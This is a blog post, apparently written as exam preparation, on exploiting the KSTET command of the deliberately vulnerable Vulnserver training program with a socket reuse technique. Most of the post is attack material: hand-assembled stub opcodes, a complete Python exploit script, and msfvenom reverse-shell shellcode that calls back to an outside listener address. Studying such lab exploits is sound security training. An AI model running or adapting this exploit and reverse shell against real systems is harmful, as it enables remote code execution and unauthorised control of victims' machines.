Exploit Development – Vulnserver KSTET – Socket Reuse

Hello!

In the last two blog posts we solved this exercise using a similar approach, we jumped to the bigger buffer space (from different ways), and then we used an egghunter technique that searched for our shellcode that we previously stored in memory.

That approach was possible because he had a way to put our shellcode in memory. But what happens if we don’t have this option? Here is the answer, you can use the socket reuse technique.

This blog post is going to cover more advanced techniques, so I’m not going to explain the basics. If you are having trouble with some previous step, I’ll recommend you to go back and read this article:

Said that, let’s go back to this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP located in EAX
  • EIP overwrite
  • 20 bytes after EIP located in ESP

The approach here is to use the existing server application’s socket descriptor and call WS2_32.recv on it, so we can read as much data from it as we want, writing it to the location that we want, normally some bytes after the current instruction so let the execution flow go there in a natural way. If not we can save it to another location and jump to it.

Step 1) Find a socket recv call

We press CNTRL+F2 in Olly and we restart the program. Now we should be at the Module Entry Point, we press F9 and continue the execution.

We click in View >> Executable Modules. And we select vulnserver.exe

Then we can right click and Search For >> All Intermodular calls.

Here I recommend you to sort using the Destination column. And we need to look for WS2_32.recv:

We follow this address in disassembler:

And we copy the address, we are going to need it later although it has a null byte:

0040252C

Step 2) Find the socket descriptor:

Let’s put a break point in this address, and let’s run the program, in x86 the parameters of the socket function are stored in the stack, so we are going to be able to see the values.

We run the program, send something to vulnserver and we are going to reach our break point. Then we press F7 and we are going to be at this point:

And if we look at the stack we are going to see the socket call parameters:

These parameters are pushed in inverse order. The most important value of all these is the socket address: 00 00 00 5C

0171F9DC   00401958  /CALL to recv from vulnserv.00401953
0171F9E0   0000005C  |Socket = 5C
0171F9E4   00533688  |Buffer = 00533688
0171F9E8   00001000  |BufSize = 1000 (4096.)
0171F9EC   00000000  \Flags = 0

At this point, remove the break point and I recommend you to restart Olly. Then we are going to put a new break point in our JMP ESP, and when we reach it, let continue the execution flow until we reach the ~70 bytes buffer space.

If we look for what is in address where our socket was, we can see that the socket descriptor identifier was overwritten. But maybe we can find a copy elsewhere, so let’s try find the socket.

We right click and Search For >> Binary string:

And here we try to find our socket:

00 00 00 5C

And Olly tell us that the socket that we are looking for it’s around this area:

Step 3) Reach our socket descriptor:

Here we need to save to the memory address where our socket descriptor is:

017CFFA9

But we can’t hard-code it, we need to find a relation with ESP. The current value of ESP is:

017CF9E0

We calculate the difference:

017CFFA9 - 017CF9E0 = 5C9

So we need to add this value to ESP. Let’s do it:

exploit  = ""
exploit += "\x54"                   # PUSH ESP
exploit += "\x59"                   # POP ECX
exploit += "\x66\x81\xC1\xC9\x05"   # ADD CX,5C9
  • Note: This is not the correct value, we are going to identify this problem in the next steps.

Step 4) Avoiding EIP/ESP collision:

Looking at the registers values in the debugger, we are going to see this:

EIP value is 017CF997 and it’s growing down, and ESP value is 017CF9E0 and it’s growing up, it’s going to be a point where one of the two values is going to be overwritten by the other and our exploit will fail.

To avoid this we are going to move ESP to a lower value.

exploit += "\x83\xEC\x50"           # SUB ESP, 50

Step 5) Calling recv:

Now it’s the moment to do the call to recv, but before we need to setup the stack with the correct parameters.

First we push a 0 into the stack:

exploit += "\x33\xD2"               # XOR EDX,EDX
exploit += "\x52"                   # PUSH EDX

Then we push a 2:

exploit += "\x80\xC6\x02"           # ADD DH,2
exploit += "\x52"                   # PUSH EDX

Now we need to setup the buffer variable, it’s were our buffer it’s going to be located. KSTET it’s more o less 50 bytes below us, so we add that to ESP and we push the value to the stack:

exploit += "\x54"                   # PUSH ESP
exploit += "\x5A"                   # POP EDX
exploit += "\x80\xC2\x38"           # ADD DL, 36
exploit += "\x52"                   # PUSH EDX

And the last thing that we need to push is our socket file descriptor:

exploit += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]

Step 6) Small fixes:

At this point, we are going to see that there is not a 00 00 00 5C pushed in the stack, it’s a 5C 00 0 00, so we need to modify the previous offset to:

5CC

Everything it’s ready, it’s moment to call the recv function. But remember that we have a null byte.


Trick 1: Using SHR to use a memory address that contains a null byte:

We want to call 0040252C. So we are going to put it backwards without the null byte into EAX. Like this:

exploit += "\xB8\x88\x2C\x25\x40"   # MOV EAX, 40252C88

I used an 88 but you can use almost any value. Then we use the SHR function to shift the bytes to the right 8 times

exploit += "\xC1\xE8\x08"           # SHR EAX, 8   

And finnaly we call EAX:

exploit += "\xFF\xD0"               # CALL EAX

We put all this together. And we verify that we have what we need in the stack. And yes we have the values that we were expecting:

Step 7) Generate the shellcode:

I used this command to generate an standard reverse shell shellcode:

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode =  ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"

Step 8) Add the second stage shellcode to the exploit:

We finally send the shellcode after waiting one second. Here is the complete exploit:

#!/usr/bin/python
# Author: Xavi Bel
# Date: 30/06/2019
# Website: xavibel.com
# Vulnserver - KSET - Using socket reuse

import socket
import os
import sys
import time

# socket reuse technique
# 35 bytes + 34 bytes of padding = 69 bytes
exploit  = ""
exploit += "\x54"                   # PUSH ESP
exploit += "\x59"                   # POP ECX
exploit += "\x66\x81\xC1\xCC\x05"   # ADD CX,5C9
exploit += "\x83\xEC\x50"           # SUB ESP, 50
exploit += "\x33\xD2"               # XOR EDX,EDX
exploit += "\x52"                   # PUSH EDX
exploit += "\x80\xC6\x02"           # ADD DH,2
exploit += "\x52"                   # PUSH EDX
exploit += "\x54"                   # PUSH ESP
exploit += "\x5A"                   # POP EDX
exploit += "\x80\xC2\x38"           # ADD DL, 36
exploit += "\x52"                   # PUSH EDX
exploit += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]
exploit += "\xB8\x88\x2C\x25\x40"   # MOV EAX, 40252C88
exploit += "\xC1\xE8\x08"           # SHR EAX, 8    
exploit += "\xFF\xD0"               # CALL EAX

exploit += "\x90" * 34

# 625011AF - JMP ESP
crash = "\x20" + exploit + "\xAF\x11\x50\x62" + "\x90" * 18 + "\xEB\xA3"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)

time.sleep(1)

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode =  ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"

expl.send("\x90" * 5 + shellcode + "\x90" * 156)

expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-03-socket-reuse.py

And here we receive our shell!

And with this we finished one of the most difficult exercises that I did while preparing the OSCE exam. I’m going to use this technique more in Vulnserver exercises. See you soon! 🙂

This entry was posted in Exploiting and tagged , , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *